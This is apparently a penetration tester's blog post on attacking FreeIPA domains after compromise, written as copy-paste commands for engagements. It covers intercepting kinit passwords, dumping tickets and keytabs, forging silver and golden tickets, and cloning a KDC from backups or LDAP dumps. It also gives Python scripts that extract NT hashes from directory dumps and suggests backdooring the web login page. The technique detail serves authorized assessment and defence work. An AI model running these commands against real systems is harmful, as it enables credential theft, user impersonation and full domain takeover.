# ø. tl;dr I've once read a set of [articles](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) by SpecterOps on operating in environments that use FreeIPA for authentication and role management. While they provide an amazing introduction to the core concepts, it felt like the post-exploitation options were limited. I wanted to create a set of simple techniques in the form of commands I could copy-and-paste on engagements that would serve as alternatives to the tools we all know and love: - on-host credential extraction - silver and golden tickets - pass-the-hash and user impersonation - DCSync While I'm not touching the subject of FreeIPA privilege escalation primitives, ACL quirks, and certificate management, from my brief encounter with the solution, there's a lot to explore. That also goes for numerous post-compromise domain persistence opportunities FreeIPA provides. I've also used the article from the series for the lab setup: https://posts.specterops.io/building-a-freeipa-lab-17f3f52cd8d9 > **update:** added `dsctl db2ldif` as a local dump alternative # i. post-exploitation on a domain host There are a lot of ways to get into other user sessions when one has access to a Windows Terminal Server, from process injection to LSASS memory dumping, task scheduler, token stealing, etc. Some analogous techniques for Linux and FreeIPA are listed here. ## `kinit` and `3snake` [`3snake`](https://github.com/blendin/3snake) is an amazing tool for stealing credentials from a variety of Linux services. It uses a ptrace approach, constantly monitoring new processes and attaching to its targets, tracing `read`/`write` system calls to intercept clear-text credentials. I mostly use it to intercept ssh-client credentials, and it won't work with Kerberos-authenticated SSH. This is why I made a small adjustment to 3snake to allow intercepting `kinit` passwords as well. Since it is a very modular and well-written tool, the changes are minimal (and available [here](https://github.com/zimnyaa/3snake-kinit)). Here it is in action: ![[Pasted image 20240229154948.png]] ## `tickey` and `linikatzv2` (mimikatz alternative) There are, of course, plenty of existing solutions to dump tickets both from the filesystem and the Linux keyring. [`tickey`](https://github.com/TarlogicSecurity/tickey) works by injecting into processes with `execve` in different user sessions and dumping the tickets from the Linux keyring. [`linikatzv2.sh`](https://github.com/Orange-Cyberdefense/LinikatzV2/blob/master/linikatzV2.sh) is simpler to understand, utilizing a list of well-known locations and memory signatures to look for stored tickets, keytabs, and user hashes. > **note:** `linikatzv2` requires GDB to run. ## user and service keytabs A ubiquitous way to store reusable Kerberos authentication data are keytabs, that contain the Kerberos key of a specified principal. There's a list of well-known locations, but you can also look for them by signature: ```bash grep -obUaP -R '\x05\x02.*WESTEROS' /etc 2>/dev/null # replace WESTEROS with your realm name ``` User keytabs allow logins as that specified user (`kinit -kt ./userkeytab user@REALM`), and service tickets can be used to impersonate arbitrary users to that service. Service keytabs can also be obtained remotely for newer FreeIPA installations, which is discussed below. # ii. user impersonation User impersonation is an important part of any post-exploitation activities, especially the ability to forge tickets. Some FreeIPA-specific solutions are described in this section. ## service keytabs, S4U2Self and silver tickets In the same manner as with AD, having access to service authentication data (keytabs/AES keys) can be used to forge Silver Tickets. If the attacker has access to the host, those can be retrieved in service keytabs. Locally on a DC, these are also trivial to obtain with `kadmin.local`: ``` ktadd -norandkey -k /ldap_k ldap/[email protected] ``` But what's interesting is that newer FreeIPA allows remote [**retrieval**](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/linux_domain_identity_authentication_and_policy_guide/retrieve-existing-keytabs) of service keytabs, without invalidating the previous keys, as it did before: ```bash ipa service-allow-retrieve-keytab ldap/ipa.westeros.local --users=admin ipa-getkeytab -k ldap_k -s ipa.westeros.local -p ldap/ipa.westeros.local -r ``` > **note:** if you fat-finger the `-r` in the last command, as I did before, you will break the service, because the keys will regenerate. Service keytabs could be used both for S4U and silver tickets. An alternative to Rubeus here is a combination of `kinit` (TGT retrieval) and `kvno` (ST retrieval): ``` # S4U kinit -kt ldap_k -p -f ldap/[email protected] kvno -U 'admin' --out-cache /tmp/ldap_admin ldap/ipa.westeros.local # /tmp/ldap_admin now contains a silver ticket for admin to ldap ``` ![[Pasted image 20240229150538.png]] ![[Pasted image 20240229151930.png]] Silver tickets can be generated with familiar tooling: ``` ticketer.py -keytab ldap_k -domain westeros.local -domain-sid S-1-5-21-516063757-2201932324-2162990077 -debug -spn ldap/ipa.westeros.local admin ``` This means that, essentially, there is a simple way for a domain administrator to impersonate any user to any service without SSHing into a FreeIPA KDC, which is very handy. Unfortunately, for Golden Tickets, it's not as simple. ## `kinit` on KDC (`KDB:` and Golden Tickets) The FreeIPA setup uses a solution called `ipa-kdb` as a backend for storing Kerberos authentication data. It's source code is available [here](https://github.com/freeipa/freeipa/tree/f4a1696a3b9cdf9526b77ec156e377add8209ab8/daemons/ipa-kdb). Upon a very brief inspection, one can see that all data is stored in LDAP, which includes the ticket signing key (the coveted `krbtgt` hash!). However, the ticket structure is a bit different, and I did not manage to get the existing solutions to work. I decided to forego creating my own tooling here, and offloaded all the work to FreeIPA itself. On DCs, it is possible to forge a ticket with standard tooling by supplying a string `KDB:` to `kinit` as a keytab path: ``` kinit -kt KDB: [email protected] ``` However, if one wants to do it locally, it is possible to create a complete local recreation of the DC. If the attacker has access to a FreeIPA backup, Directory Manager credentials, or `root` code execution on a KDC, the KDC can be recreated in a local Docker container (in the same way I've set up my lab), and tickets from that clone will work in the environment as well. The ways of dumping the required data are listed in section 3. Setting it up with a full local backup is simple and follows the lab instructions: ``` host # docker run --name ipaclone.westeros.local -ti -h ipa.westeros.local --sysctl net.ipv6.conf.all.disable_ipv6=0 -v /sys/fs/cgroup:/sys/fs/cgroup --cgroupns=host --mount source=ipaclone,target=/data --network ipaclonenet --publish 127.0.0.1:443:443 freeipa-server:latest host # docker exec -it ipaclone.westeros.local bash ipa-clone # ipa-restore <backup path> ``` Remote backups, however, are less trivial. The full LDIF of the domain can be obtained with `ldapsearch -x -D "cn=Directory Manager" -w 'dirmanpass' -H ldap://ipa.westeros.local -b "dc=westeros,dc=local" -LLL "objectclass=*" > freeipa_directory_dump.ldif`. It then needs to be manually ingested with `ldapadd`/`ldapmodify`. This technique is not complicated enough to warrant a marketable name like DCSync, but "FakeDC" suits it well. # iii. KDC post-exploitaiton This section lists several ways to get authentication data for all domain users either remotely or with local access to the KDC. ## keytab retrieval and usage (instead of PtH) If just a keytab of a specific domain entity is required, it is easy to do so locally on a DC: ``` # kadmin.local kadmin> ktadd -norandkey -k /admin_k [email protected] ``` Getting the required keys from raw LDAP data is less straightforward, if one wants to avoid creating a full KDC clone. The `krbPrincipalKey` LDAP attribute holds a base64-encoded value with the following ASN1 structure (an annotated dump): ```j [U] SEQUENCE [C] 0x0 // version and capability information [U] INTEGER: 1 [C] BOOLEAN [U] INTEGER: 1 [C] INTEGER [U] INTEGER: 1 [C] BIT STRING [U] INTEGER: 1 [C] OCTET STRING [U] SEQUENCE // kerberos keys [U] SEQUENCE [C] 0x0 [U] SEQUENCE // salt [C] 0x0 [U] INTEGER: 4 [C] BOOLEAN [U] OCTET STRING: 0xb'4E3A467564474833635D50273C395E36' [C] BOOLEAN [U] SEQUENCE [C] 0x0 [U] INTEGER: 20. // enctype [C] BOOLEAN [U] OCTET STRING: // key, encrypted with the masterkey 0xb'2000FCED5A97B1F5A26031AA89DC61E5625311FE413259A28F3021B1B808C1358B804AB00CD6D0805A5FD134A298E05C8983332E7A6750E86BE8CE5E53000A89EFC67FB51D78FA9BAFAB' // ... keys repeat ... ``` The masterkey can be found in the domain LDAP object ( e.g. `cn=WESTEROS.LOCAL,cn=kerberos,dc=westeros,dc=local` in `krbMKey`). Obviously, either local access or Directory Manager credentials are required to view these. One could write a simple Python script to get the keys, but I got lost in decryption mistakes somewhere halfway through. ## Directory Manager password If the attacker has access to the Directory Manager password, all LDAP data, including the Kerberos authentication information, could be dumped remotely, as shown above. The local hash for the Directory Manager password is found here: ![[Screenshot 2024-02-23 at 17.18.15.png]] If that password is cracked/found, all domain data in LDIF format could be dumped remotely with `ldapsearch` and LDAP Basic authentication. It can later be ingested to create the KDC clone. ## domain replication and DCSync FreeIPA does also support domain replication, so it can be possible to replicate the domain data fully. The documentation details the enrollment process [here](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/linux_domain_identity_authentication_and_policy_guide/install-replica). If one decides to go with the noisy approach, it is recommended to create a [hidden replica](https://freeipa.readthedocs.io/en/latest/designs/hidden-replicas.html), so other hosts won't try to use the services. If, on the other hand, a replica server is accessible, just treat it as a KDC instead. ## local LDIF with `ipa-backup` Of course, the attacker could just backup the FreeIPA DC with `ipa-backup`. > **note:** that temporarily stops FreeIPA services, so exercise caution. It is recommended to look for backups instead. The standard directory for them is `/var/lib/ipa/backup/` To backup just the relevant `userRoot` backend, one can stop `slapd` and back it up like so: ```bash # dsctl slapd-WESTEROS-LOCAL stop # dsctl slapd-WESTEROS-LOCAL db2ldif userRoot # dsctl slapd-WESTEROS-LOCAL start ``` ![[Pasted image 20240303221554.png]] This also requires `root` access to the KDC. Default LDIF dumps are located in `/var/lib/dirsrv/slapd-REALM-NAME/ldif/`. Another LDIF alternative is `ns-slapd db2ldif -D /etc/dirsrv/slapd-WESTEROS-LOCAL/ -n userRoot -a /tmp/dump`, but it also requires stopping the service from my testing. ## looking for NT hashes Sometimes, the attacker is interested in NTLM hashes, as those can be easy to crack, and cleartext passwords can later be reused for credential stuffing to non-domain joined services. I've written some Python scripts to show where they are stored: ```python # id2entry (dbscan -f) import base64 def process_file(file_path): username = "" hashfound = True nextl = False hashpart = "" with open(file_path, 'r') as file: for line in file: if nextl: nextl = False try: print(base64.b64decode(hashpart+line.replace("\t", '').replace(' ', '')).hex()) except: print("[!] error decoding ", hashpart+line.replace("\t", '').replace(' ', '')) if "rdn: uid=" in line: username = line[:-1] if "ipaNTHash;" in line: print(username, end=" ") hashpart = line.split(" ")[1] nextl = True import sys process_file(sys.argv[1]) ``` The id2entry database dump can be obtained with `dbscan -f <db path>` (usually the id2entry database in `/var/lib/dirsrv/slapd-REALM-NAME/db/userRoot` stores relevant data). Parsing LDIF files is essentially the same: ```python # LDIF import base64 def process_file(file_path): username = "" hashfound = True with open(file_path, 'r') as file: for line in file: if line.startswith('#') and "accounts" in line: username = line.split(" ")[1] if "ipaNTHash" in line: try: print(username, base64.b64decode(line.split(" ")[1]).hex()) except: print("[!] error decoding", line) import sys process_file(sys.argv[1]) ``` > **note:** FreeIPA web portal cleartext passwords Another way of obtaining cleartext passwords that comes to mind is backdooring the web login page for FreeIPA. I haven't went that far yet, as it means restarting the portal, but it should be entirely doable.